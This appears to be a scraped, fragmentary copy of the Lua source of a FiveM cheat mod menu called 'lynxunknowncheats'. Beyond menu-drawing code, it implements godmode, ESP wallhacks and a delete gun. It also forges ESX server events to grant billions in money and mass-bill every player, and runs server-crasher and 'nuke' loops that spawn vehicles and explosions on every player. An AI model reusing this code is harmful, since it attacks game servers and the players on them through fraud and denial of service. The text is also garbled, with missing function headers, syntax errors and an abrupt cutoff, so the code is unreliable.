Professional Documents
Culture Documents
lynxunknowncheats = {}
lynxunknowncheats.debug = false
return result
end
local menus = {}
local keys = {up = 172, down = 173, left = 174, right = 175, select = 176, back =
177}
local optionCount = 0
if visible then
if id ~= currentMenu and isMenuVisible(currentMenu) then
setMenuVisible(currentMenu, false)
end
currentMenu = id
end
end
end
if shadow then
SetTextDropShadow(2, 2, 0, 0, 0)
end
if menus[currentMenu] then
if center then
SetTextCentre(center)
elseif alignRight then
SetTextWrap(menus[currentMenu].x, menus[currentMenu].x +
menuWidth - buttonTextXOffset)
SetTextRightJustify(true)
end
end
SetTextEntry("STRING")
AddTextComponentString(text)
DrawText(x, y)
end
if menus[currentMenu].titleBackgroundSprite then
DrawSprite(
menus[currentMenu].titleBackgroundSprite.dict,
menus[currentMenu].titleBackgroundSprite.name,
x,
y,
menuWidth,
titleHeight,
0.,
255,
255,
255,
255
)
else
drawRect(x, y, menuWidth, titleHeight,
menus[currentMenu].titleBackgroundColor)
end
drawText(
menus[currentMenu].title,
x,
y - titleHeight / 2 + titleYOffset,
menus[currentMenu].titleFont,
menus[currentMenu].titleColor,
titleScale,
true
)
end
end
local subTitleColor = {
r = menus[currentMenu].titleBackgroundColor.r,
g = menus[currentMenu].titleBackgroundColor.g,
b = menus[currentMenu].titleBackgroundColor.b,
a = 255
}
if
menus[currentMenu].currentOption <= menus[currentMenu].maxOptionCount
and
optionCount <= menus[currentMenu].maxOptionCount
then
multiplier = optionCount
elseif
optionCount > menus[currentMenu].currentOption -
menus[currentMenu].maxOptionCount and
optionCount <= menus[currentMenu].currentOption
then
multiplier = optionCount - (menus[currentMenu].currentOption -
menus[currentMenu].maxOptionCount)
end
if multiplier then
local y = menus[currentMenu].y + titleHeight + buttonHeight +
(buttonHeight * multiplier) - buttonHeight / 2
local backgroundColor = nil
local textColor = nil
local subTextColor = nil
local shadow = false
if subText then
drawText(
subText,
menus[currentMenu].x + buttonTextXOffset,
y - buttonHeight / 2 + buttonTextYOffset,
buttonFont,
subTextColor,
buttonScale,
false,
shadow,
true
)
end
end
end
menus[id].visible = false
menus[id].previousMenu = nil
menus[id].aboutToBeClosed = false
menus[id].x = 0.75
menus[id].y = 0.19
menus[id].currentOption = 1
menus[id].maxOptionCount = 10
menus[id].titleFont = 1
menus[id].titleColor = {r = 255, g = 255, b = 255, a = 255}
Citizen.CreateThread(
function()
while true do
Citizen.Wait(0)
local ra = RGBRainbow(1.0)-- RGB MENU DISABLED // NiT34ByTe
menus[id].titleBackgroundColor = {r = ra.r, g = ra.g, b =
ra.b, a = 255} --RGB MENU DISABLED // NiT34ByTe - Culoare titlu
menus[id].menuFocusBackgroundColor = {r = ra.r, g = ra.g, b
= ra.b, a = 100} --RGB MENU DISABLED // NiT34ByTe - Culoare meniu
--menus[id].titleBackgroundColor = {r = 5, g = 173, b = 5,
a = 255}
--menus[id].menuFocusBackgroundColor = {r = 25, g = 255, b
= 248, a = 25}
end
end)
menus[id].titleBackgroundSprite = nil
menus[id].subTitleBackgroundColor = {
r = menus[id].menuBackgroundColor.r,
g = menus[id].menuBackgroundColor.g,
b = menus[id].menuBackgroundColor.b,
a = 255
}
if subTitle then
setMenuProperty(id, "subTitle", string.upper(subTitle))
else
setMenuProperty(id, "subTitle",
string.upper(menus[parent].subTitle))
end
function lynxunknowncheats.CurrentMenu()
return currentMenu
end
function lynxunknowncheats.OpenMenu(id)
if id and menus[id] then
PlaySoundFrontend(-1, "SELECT", "HUD_FRONTEND_DEFAULT_SOUNDSET", true)
setMenuVisible(id, true)
if menus[id].titleBackgroundSprite then
RequestStreamedTextureDict(menus[id].titleBackgroundSprite.dict,
false)
while not
HasStreamedTextureDictLoaded(menus[id].titleBackgroundSprite.dict) do
Citizen.Wait(0)
end
end
function lynxunknowncheats.IsMenuOpened(id)
return isMenuVisible(id)
end
function lynxunknowncheats.IsAnyMenuOpened()
for id, _ in pairs(menus) do
if isMenuVisible(id) then
return true
end
end
return false
end
function lynxunknowncheats.IsMenuAboutToBeClosed()
if menus[currentMenu] then
return menus[currentMenu].aboutToBeClosed
else
return false
end
end
function lynxunknowncheats.CloseMenu()
if menus[currentMenu] then
if menus[currentMenu].aboutToBeClosed then
menus[currentMenu].aboutToBeClosed = false
setMenuVisible(currentMenu, false)
debugPrint(tostring(currentMenu) .. " menu closed")
PlaySoundFrontend(-1, "QUIT", "HUD_FRONTEND_DEFAULT_SOUNDSET",
true)
optionCount = 0
currentMenu = nil
currentKey = nil
else
menus[currentMenu].aboutToBeClosed = true
debugPrint(tostring(currentMenu) .. " menu about to be closed")
end
end
end
drawButton(text, subText)
if isCurrent then
if currentKey == keys.select then
PlaySoundFrontend(-1,
menus[currentMenu].buttonPressedSound.name,
menus[currentMenu].buttonPressedSound.set, true)
debugPrint(buttonText .. " button pressed")
return true
elseif currentKey == keys.left or currentKey == keys.right then
PlaySoundFrontend(-1, "NAV_UP_DOWN",
"HUD_FRONTEND_DEFAULT_SOUNDSET", true)
end
end
return false
else
debugPrint("Failed to create " .. buttonText .. " button: " ..
tostring(currentMenu) .. " menu doesn't exist")
return false
end
end
return true
end
else
debugPrint("Failed to create " .. tostring(text) .. " menu button: " ..
tostring(id) .. " submenu doesn't exist")
end
return false
end
return true
end
return false
end
callback(currentIndex, selectedIndex)
return false
end
function lynxunknowncheats.Display()
if isMenuVisible(currentMenu) then
if menus[currentMenu].aboutToBeClosed then
lynxunknowncheats.CloseMenu()
else
ClearAllHelpMessages()
drawTitle()
drawSubTitle()
currentKey = nil
optionCount = 0
end
end
end
function lynxunknowncheats.SetMenuX(id, x)
setMenuProperty(id, "x", x)
end
function lynxunknowncheats.SetMenuY(id, y)
setMenuProperty(id, "y", y)
end
function lynxunknowncheats.SetTitleColor(id, r, g, b, a)
setMenuProperty(id, "titleColor", {["r"] = r, ["g"] = g, ["b"] = b, ["a"] = a
or menus[id].titleColor.a})
end
function lynxunknowncheats.SetTitleBackgroundColor(id, r, g, b, a)
setMenuProperty(
id,
"titleBackgroundColor",
{["r"] = r, ["g"] = g, ["b"] = b, ["a"] = a or
menus[id].titleBackgroundColor.a}
)
end
function lynxunknowncheats.SetMenuBackgroundColor(id, r, g, b, a)
setMenuProperty(
id,
"menuBackgroundColor",
{["r"] = r, ["g"] = g, ["b"] = b, ["a"] = a or
menus[id].menuBackgroundColor.a}
)
end
function lynxunknowncheats.SetMenuTextColor(id, r, g, b, a)
setMenuProperty(id, "menuTextColor", {["r"] = r, ["g"] = g, ["b"] = b, ["a"]
= a or menus[id].menuTextColor.a})
end
function lynxunknowncheats.SetMenuSubTextColor(id, r, g, b, a)
setMenuProperty(id, "menuSubTextColor", {["r"] = r, ["g"] = g, ["b"] = b,
["a"] = a or menus[id].menuSubTextColor.a})
end
function lynxunknowncheats.SetMenuFocusColor(id, r, g, b, a)
setMenuProperty(id, "menuFocusColor", {["r"] = r, ["g"] = g, ["b"] = b, ["a"]
= a or menus[id].menuFocusColor.a})
end
if UpdateOnscreenKeyboard() ~= 2 then
local result = GetOnscreenKeyboardResult()
Citizen.Wait(500)
blockinput = false
return result
else
Citizen.Wait(500)
blockinput = false
return nil
end
end
return result
end
function drawNotification(text)
SetNotificationTextEntry("STRING")
AddTextComponentString(text)
DrawNotification(false, false)
end
local allWeapons = {
"WEAPON_KNIFE",
"WEAPON_KNUCKLE",
"WEAPON_NIGHTSTICK",
"WEAPON_HAMMER",
"WEAPON_BAT",
"WEAPON_GOLFCLUB",
"WEAPON_CROWBAR",
"WEAPON_BOTTLE",
"WEAPON_DAGGER",
"WEAPON_HATCHET",
"WEAPON_MACHETE",
"WEAPON_FLASHLIGHT",
"WEAPON_SWITCHBLADE",
"WEAPON_PISTOL",
"WEAPON_PISTOL_MK2",
"WEAPON_COMBATPISTOL",
"WEAPON_APPISTOL",
"WEAPON_PISTOL50",
"WEAPON_SNSPISTOL",
"WEAPON_HEAVYPISTOL",
"WEAPON_VINTAGEPISTOL",
"WEAPON_STUNGUN",
"WEAPON_FLAREGUN",
"WEAPON_MARKSMANPISTOL",
"WEAPON_REVOLVER",
"WEAPON_MICROSMG",
"WEAPON_SMG",
"WEAPON_SMG_MK2",
"WEAPON_ASSAULTSMG",
"WEAPON_MG",
"WEAPON_COMBATMG",
"WEAPON_COMBATMG_MK2",
"WEAPON_COMBATPDW",
"WEAPON_GUSENBERG",
"WEAPON_MACHINEPISTOL",
"WEAPON_ASSAULTRIFLE",
"WEAPON_ASSAULTRIFLE_MK2",
"WEAPON_CARBINERIFLE",
"WEAPON_CARBINERIFLE_MK2",
"WEAPON_ADVANCEDRIFLE",
"WEAPON_SPECIALCARBINE",
"WEAPON_BULLPUPRIFLE",
"WEAPON_COMPACTRIFLE",
"WEAPON_PUMPSHOTGUN",
"WEAPON_SAWNOFFSHOTGUN",
"WEAPON_BULLPUPSHOTGUN",
"WEAPON_ASSAULTSHOTGUN",
"WEAPON_MUSKET",
"WEAPON_HEAVYSHOTGUN",
"WEAPON_DBSHOTGUN",
"WEAPON_SNIPERRIFLE",
"WEAPON_HEAVYSNIPER",
"WEAPON_HEAVYSNIPER_MK2",
"WEAPON_MARKSMANRIFLE",
"WEAPON_GRENADELAUNCHER",
"WEAPON_GRENADELAUNCHER_SMOKE",
"WEAPON_RPG",
"WEAPON_STINGER",
"WEAPON_FIREWORK",
"WEAPON_HOMINGLAUNCHER",
"WEAPON_GRENADE",
"WEAPON_STICKYBOMB",
"WEAPON_PROXMINE",
"WEAPON_BZGAS",
"WEAPON_SMOKEGRENADE",
"WEAPON_MOLOTOV",
"WEAPON_FIREEXTINGUISHER",
"WEAPON_PETROLCAN",
"WEAPON_SNOWBALL",
"WEAPON_FLARE",
"WEAPON_BALL"
}
function SpectatePlayer(player)
local playerPed = PlayerPedId()
Spectating = not Spectating
local targetPed = GetPlayerPed(player)
if (Spectating) then
local targetx, targety, targetz =
table.unpack(GetEntityCoords(targetPed, false))
function ShootPlayer(player)
local head = GetPedBoneCoords(player, GetEntityBoneIndexByName(player,
"SKEL_HEAD"), 0.0, 0.0, 0.0)
SetPedShootsAtCoord(PlayerPedId(), head.x, head.y, head.z, true)
end
function MaxOut(veh)
SetVehicleModKit(GetVehiclePedIsIn(GetPlayerPed(-1), false), 0)
SetVehicleWheelType(GetVehiclePedIsIn(GetPlayerPed(-1), false),
7)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 0,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 0) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 1,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 1) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 2,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 2) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 3,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 3) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 4,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 4) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 5,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 5) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 6,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 6) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 7,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 7) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 8,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 8) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 9,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 9) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 10,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 10) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 11,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 11) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 12,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 12) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 13,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 13) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 14,
16, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 15,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 15) - 2, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 16,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 16) - 1, false)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false),
17, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false),
18, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false),
19, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false),
20, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false),
21, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false),
22, true)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 23,
1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 24,
1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 25,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 25) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 27,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 27) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 28,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 28) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 30,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 30) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 33,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 33) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 34,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 34) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 35,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 35) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 38,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 38) - 1, true)
SetVehicleWindowTint(GetVehiclePedIsIn(GetPlayerPed(-1),
false), 1)
SetVehicleTyresCanBurst(GetVehiclePedIsIn(GetPlayerPed(-1),
false), false)
SetVehicleNumberPlateTextIndex(GetVehiclePedIsIn(GetPlayerPed(-
1), false), 5)
end
function DelVeh(veh)
SetEntityAsMissionEntity(Object, 1, 1)
DeleteEntity(Object)
SetEntityAsMissionEntity(GetVehiclePedIsIn(GetPlayerPed(-1), false), 1, 1)
DeleteEntity(GetVehiclePedIsIn(GetPlayerPed(-1), false))
end
function Clean(veh)
SetVehicleDirtLevel(veh, 15.0)
end
function Clean2(veh)
SetVehicleDirtLevel(veh, 1.0)
end
entityEnumerator = {
__gc = function(enum)
if enum.destructor and enum.handle then
enum.destructor(enum.handle)
end
enum.destructor = nil
enum.handle = nil
end
}
function EnumerateObjects()
return EnumerateEntities(FindFirstObject, FindNextObject, EndFindObject)
end
function EnumeratePeds()
return EnumerateEntities(FindFirstPed, FindNextPed, EndFindPed)
end
function EnumerateVehicles()
return EnumerateEntities(FindFirstVehicle, FindNextVehicle, EndFindVehicle)
end
function EnumeratePickups()
return EnumerateEntities(FindFirstPickup, FindNextPickup, EndFindPickup)
end
function RequestControl(entity)
local Waiting = 0
NetworkRequestControlOfEntity(entity)
while not NetworkHasControlOfEntity(entity) do
Waiting = Waiting + 100
Citizen.Wait(100)
if Waiting > 5000 then
drawNotification("Hung for 5 seconds, killing to prevent
issues...")
end
end
end
function getEntity(player)
local result, entity = GetEntityPlayerIsFreeAimingAt(player,
Citizen.ReturnResultAnyway())
return entity
end
function GetInputMode()
return Citizen.InvokeNative(0xA571D46727E2B718, 2) and "MouseAndKeyboard" or
"GamePad"
end
-- MAIN CODE --
ShowHudComponentThisFrame(14)
Citizen.CreateThread(function()
local headId = {}
while true do
Citizen.Wait(1)
if playerBlips then
-- show blips
for id = 0, 64 do
if NetworkIsPlayerActive(id) and GetPlayerPed(id) ~=
GetPlayerPed(-1) then
ped = GetPlayerPed(id)
blip = GetBlipFromEntity(ped)
-- Speaking display
if NetworkIsPlayerTalking(id) then
SetMpGamerTagVisibility(headId[id], 9, true) --
Add speaking sprite
else
SetMpGamerTagVisibility(headId[id], 9, false)
-- Remove speaking sprite
end
-- BLIP STUFF --
if passengers then
if not IsVehicleSeatFree(veh, -1)
then
passengers = passengers + 1
end
ShowNumberOnBlip(blip, passengers)
else
HideNumberOnBlip(blip)
end
else
-- Remove leftover number
HideNumberOnBlip(blip)
if blipSprite ~= 1 then -- default blip
SetBlipSprite(blip, 1)
ShowHeadingIndicatorOnBlip(blip,
true) -- Player Blip indicator
end
end
SetBlipRotation(blip,
math.ceil(GetEntityHeading(veh))) -- update rotation
SetBlipNameToPlayerName(blip, id) -- update
blip name
SetBlipScale(blip, 0.85) -- set scale
Citizen.CreateThread(
function()
while Enabled do
Citizen.Wait(0)
SetPlayerInvincible(PlayerId(), Godmode)
SetEntityInvincible(PlayerPedId(), Godmode)
if SuperJump then
SetSuperJumpThisFrame(PlayerId())
end
if InfStamina then
RestorePlayerStamina(PlayerId(), 1.0)
end
if Invisible then
SetEntityVisible(GetPlayerPed(-1), false, 0)
else
SetEntityVisible(GetPlayerPed(-1), true, 0)
end
if fastrun then
SetRunSprintMultiplierForPlayer(PlayerId(), 2.49)
SetPedMoveRateOverride(GetPlayerPed(-1), 2.15)
else
SetRunSprintMultiplierForPlayer(PlayerId(), 1.0)
SetPedMoveRateOverride(GetPlayerPed(-1), 1.0)
end
if VehicleGun then
local VehicleGunVehicle = "Freight"
local playerPedPos = GetEntityCoords(GetPlayerPed(-1),
true)
if (IsPedInAnyVehicle(GetPlayerPed(-1), true) == false)
then
drawNotification("~g~Vehicle Gun Enabled!~n~~w~Use
The ~b~AP Pistol~n~~b~Aim ~w~and ~b~Shoot!")
GiveWeaponToPed(GetPlayerPed(-1),
GetHashKey("WEAPON_APPISTOL"), 999999, false, true)
SetPedAmmo(GetPlayerPed(-1),
GetHashKey("WEAPON_APPISTOL"), 999999)
if (GetSelectedPedWeapon(GetPlayerPed(-1)) ==
GetHashKey("WEAPON_APPISTOL")) then
if IsPedShooting(GetPlayerPed(-1)) then
while not
HasModelLoaded(GetHashKey(VehicleGunVehicle)) do
Citizen.Wait(0)
RequestModel(GetHashKey(VehicleGunVehicle))
end
local veh =
CreateVehicle(GetHashKey(VehicleGunVehicle), playerPedPos.x + (5 *
GetEntityForwardX(GetPlayerPed(-1))), playerPedPos.y + (5 *
GetEntityForwardY(GetPlayerPed(-1))), playerPedPos.z + 2.0,
GetEntityHeading(GetPlayerPed(-1)), true, true)
SetEntityAsNoLongerNeeded(veh)
SetVehicleForwardSpeed(veh, 150.0)
end
end
end
end
if DeleteGun then
local gotEntity = getEntity(PlayerId())
if (IsPedInAnyVehicle(GetPlayerPed(-1), true) == false)
then
drawNotification("~g~Delete Gun Enabled!~n~~w~Use The
~b~Pistol~n~~b~Aim ~w~and ~b~Shoot ~w~To Delete!")
GiveWeaponToPed(GetPlayerPed(-1),
GetHashKey("WEAPON_PISTOL"), 999999, false, true)
SetPedAmmo(GetPlayerPed(-1),
GetHashKey("WEAPON_PISTOL"), 999999)
if (GetSelectedPedWeapon(GetPlayerPed(-1)) ==
GetHashKey("WEAPON_PISTOL")) then
if IsPlayerFreeAiming(PlayerId()) then
if IsEntityAPed(gotEntity) then
if IsPedInAnyVehicle(gotEntity,
true) then
if IsControlJustReleased(1,
142) then
SetEntityAsMissionEntity(GetVehiclePedIsIn(gotEntity, true), 1, 1)
DeleteEntity(GetVehiclePedIsIn(gotEntity, true))
SetEntityAsMissionEntity(gotEntity, 1, 1)
DeleteEntity(gotEntity)
drawNotification("~g~Deleted!")
end
else
if IsControlJustReleased(1,
142) then
SetEntityAsMissionEntity(gotEntity, 1, 1)
DeleteEntity(gotEntity)
drawNotification("~g~Deleted!")
end
end
else
if IsControlJustReleased(1, 142)
then
SetEntityAsMissionEntity(gotEntity, 1, 1)
DeleteEntity(gotEntity)
drawNotification("~g~Deleted!")
end
end
end
end
end
end
if destroyvehicles then
for vehicle in EnumerateVehicles() do
if (vehicle ~= GetVehiclePedIsIn(GetPlayerPed(-1),
false)) then
NetworkRequestControlOfEntity(vehicle)
SetVehicleUndriveable(vehicle,true)
SetVehicleEngineHealth(vehicle, 100)
end
end
end
if explodevehicles then
for vehicle in EnumerateVehicles() do
if (vehicle ~= GetVehiclePedIsIn(GetPlayerPed(-1),
false)) then
NetworkRequestControlOfEntity(vehicle)
NetworkExplodeVehicle(vehicle, true, true,
false)
end
end
end
if esp then
for i = 0, 64 do
if i ~= PlayerId() and GetPlayerServerId(i) ~= 0 then
local ra = RGBRainbow(1.0)
local pPed = GetPlayerPed(i)
local cx, cy, cz =
table.unpack(GetEntityCoords(PlayerPedId()))
local x, y, z =
table.unpack(GetEntityCoords(pPed))
local message =
"~h~Name: " ..
GetPlayerName(i) ..
"\nServer ID: " ..
GetPlayerServerId(i) ..
"\nPlayer ID: " .. i ..
"\nDist: " .. math.round(GetDistanceBetweenCoords(cx, cy, cz, x, y, z, true), 1)
if IsPedInAnyVehicle(pPed, true) then
local VehName =
GetLabelText(GetDisplayNameFromVehicleModel(GetEntityModel(GetVehiclePedIsUsing(pPe
d))))
message = message .. "\nVeh: " .. VehName
end
DrawText3D(x, y, z + 1.0, message, ra.r, ra.g,
ra.b)
LineOneBegin =
GetOffsetFromEntityInWorldCoords(pPed, -0.3, -0.3, -0.9)
LineOneEnd =
GetOffsetFromEntityInWorldCoords(pPed, 0.3, -0.3, -0.9)
LineTwoBegin =
GetOffsetFromEntityInWorldCoords(pPed, 0.3, -0.3, -0.9)
LineTwoEnd =
GetOffsetFromEntityInWorldCoords(pPed, 0.3, 0.3, -0.9)
LineThreeBegin =
GetOffsetFromEntityInWorldCoords(pPed, 0.3, 0.3, -0.9)
LineThreeEnd =
GetOffsetFromEntityInWorldCoords(pPed, -0.3, 0.3, -0.9)
LineFourBegin =
GetOffsetFromEntityInWorldCoords(pPed, -0.3, -0.3, -0.9)
TLineOneBegin =
GetOffsetFromEntityInWorldCoords(pPed, -0.3, -0.3, 0.8)
TLineOneEnd =
GetOffsetFromEntityInWorldCoords(pPed, 0.3, -0.3, 0.8)
TLineTwoBegin =
GetOffsetFromEntityInWorldCoords(pPed, 0.3, -0.3, 0.8)
TLineTwoEnd =
GetOffsetFromEntityInWorldCoords(pPed, 0.3, 0.3, 0.8)
TLineThreeBegin =
GetOffsetFromEntityInWorldCoords(pPed, 0.3, 0.3, 0.8)
TLineThreeEnd =
GetOffsetFromEntityInWorldCoords(pPed, -0.3, 0.3, 0.8)
TLineFourBegin =
GetOffsetFromEntityInWorldCoords(pPed, -0.3, -0.3, 0.8)
ConnectorOneBegin =
GetOffsetFromEntityInWorldCoords(pPed, -0.3, 0.3, 0.8)
ConnectorOneEnd =
GetOffsetFromEntityInWorldCoords(pPed, -0.3, 0.3, -0.9)
ConnectorTwoBegin =
GetOffsetFromEntityInWorldCoords(pPed, 0.3, 0.3, 0.8)
ConnectorTwoEnd =
GetOffsetFromEntityInWorldCoords(pPed, 0.3, 0.3, -0.9)
ConnectorThreeBegin =
GetOffsetFromEntityInWorldCoords(pPed, -0.3, -0.3, 0.8)
ConnectorThreeEnd =
GetOffsetFromEntityInWorldCoords(pPed, -0.3, -0.3, -0.9)
ConnectorFourBegin =
GetOffsetFromEntityInWorldCoords(pPed, 0.3, -0.3, 0.8)
ConnectorFourEnd =
GetOffsetFromEntityInWorldCoords(pPed, 0.3, -0.3, -0.9)
DrawLine(
LineOneBegin.x,
LineOneBegin.y,
LineOneBegin.z,
LineOneEnd.x,
LineOneEnd.y,
LineOneEnd.z,
ra.r,
ra.g,
ra.b,
255
)
DrawLine(
LineTwoBegin.x,
LineTwoBegin.y,
LineTwoBegin.z,
LineTwoEnd.x,
LineTwoEnd.y,
LineTwoEnd.z,
ra.r,
ra.g,
ra.b,
255
)
DrawLine(
LineThreeBegin.x,
LineThreeBegin.y,
LineThreeBegin.z,
LineThreeEnd.x,
LineThreeEnd.y,
LineThreeEnd.z,
ra.r,
ra.g,
ra.b,
255
)
DrawLine(
LineThreeEnd.x,
LineThreeEnd.y,
LineThreeEnd.z,
LineFourBegin.x,
LineFourBegin.y,
LineFourBegin.z,
ra.r,
ra.g,
ra.b,
255
)
DrawLine(
TLineOneBegin.x,
TLineOneBegin.y,
TLineOneBegin.z,
TLineOneEnd.x,
TLineOneEnd.y,
TLineOneEnd.z,
ra.r,
ra.g,
ra.b,
255
)
DrawLine(
TLineTwoBegin.x,
TLineTwoBegin.y,
TLineTwoBegin.z,
TLineTwoEnd.x,
TLineTwoEnd.y,
TLineTwoEnd.z,
ra.r,
ra.g,
ra.b,
255
)
DrawLine(
TLineThreeBegin.x,
TLineThreeBegin.y,
TLineThreeBegin.z,
TLineThreeEnd.x,
TLineThreeEnd.y,
TLineThreeEnd.z,
ra.r,
ra.g,
ra.b,
255
)
DrawLine(
TLineThreeEnd.x,
TLineThreeEnd.y,
TLineThreeEnd.z,
TLineFourBegin.x,
TLineFourBegin.y,
TLineFourBegin.z,
ra.r,
ra.g,
ra.b,
255
)
DrawLine(
ConnectorOneBegin.x,
ConnectorOneBegin.y,
ConnectorOneBegin.z,
ConnectorOneEnd.x,
ConnectorOneEnd.y,
ConnectorOneEnd.z,
ra.r,
ra.g,
ra.b,
255
)
DrawLine(
ConnectorTwoBegin.x,
ConnectorTwoBegin.y,
ConnectorTwoBegin.z
ConnectorTwoEnd.x,
ConnectorTwoEnd.y,
ConnectorTwoEnd.z,
ra.r,
ra.g,
ra.b,
255
)
DrawLine(
ConnectorThreeBegin.x,
ConnectorThreeBegin.y,
ConnectorThreeBegin.z,
ConnectorThreeEnd.x,
ConnectorThreeEnd.y,
ConnectorThreeEnd.z,
ra.r,
ra.g,
ra.b,
255
)
DrawLine(
ConnectorFourBegin.x,
ConnectorFourBegin.y,
ConnectorFourBegin.z,
ConnectorFourEnd.x,
ConnectorFourEnd.y,
ConnectorFourEnd.z,
ra.r,
ra.g,
ra.b,
255
)
if oneshot then
SetPlayerWeaponDamageModifier(PlayerId(), 100.0)
local gotEntity = getEntity(PlayerId())
if IsEntityAPed(gotEntity) then
if IsPedInAnyVehicle(gotEntity, true) then
if IsPedInAnyVehicle(GetPlayerPed(-1), true)
then
if IsControlJustReleased(1, 69) then
if blowall then
for i = 0, 64 do
AddExplosion(GetEntityCoords(GetPlayerPed(i)),
2, 100000.0, true, false, 100000.0)
end
end
if BlowDrugsUp then
TriggerServerEvent("esx_drugs:startHarvestWeed")
TriggerServerEvent("esx_drugs:startHarvestCoke")
TriggerServerEvent("esx_drugs:startHarvestMeth")
TriggerServerEvent("esx_drugs:startTransformOpium")
TriggerServerEvent("esx_drugs:startTransformWeed")
TriggerServerEvent("esx_drugs:startTransformCoke")
TriggerServerEvent("esx_drugs:startTransformMeth")
TriggerServerEvent("esx_drugs:startTransformOpium"
TriggerServerEvent("esx_drugs:startSellWeed")
TriggerServerEvent("esx_drugs:startSellCoke")
TriggerServerEvent("esx_drugs:startSellMeth")
TriggerServerEvent("esx_drugs:startSellOpium")
end
if esxdestroy then
for i = 0, 64 do
TriggerServerEvent('esx_truckerjob:pay',
9999999999)
TriggerServerEvent('AdminMenu:giveCash',
9999999999)
TriggerServerEvent('esx:giveInventoryItem',
GetPlayerServerId(i), "item_money", "money", 10000000)
TriggerServerEvent('esx:giveInventoryItem',
GetPlayerServerId(i), "item_money", "money", 10000000)
TriggerServerEvent('esx:giveInventoryItem',
GetPlayerServerId(i), "item_money", "money", 10000000)
TriggerServerEvent('esx:giveInventoryItem',
GetPlayerServerId(i), "item_money", "money", 10000000)
TriggerServerEvent('esx_billing:sendBill',
GetPlayerServerId(i), "Purposeless", "\76\121\110\120\32\77\101\110\117\32\53\10",
10000000)
end
end
if servercrasher then
local avion = "CARGOPLANE"
for i = 0, 64 do
while not HasModelLoaded(GetHashKey(avion)) do
Citizen.Wait(0)
RequestModel(GetHashKey(avion))
end
Citizen.Wait(200)
if nuke then
local camion = "phantom"
local avion = "CARGOPLANE"
local avion2 = "luxor"
local heli = "maverick"
local random = "bus"
for i = 0, 64 do
while not HasModelLoaded(GetHashKey(avion)) do
Citizen.Wait(0)
RequestModel(GetHashKey(avion))
end
Citizen.Wait(200)
local avion2 =
CreateVehicle(GetHashKey(camion), GetEntityCoords(GetPlayerPed(i)) + 2.0, true,
true) and
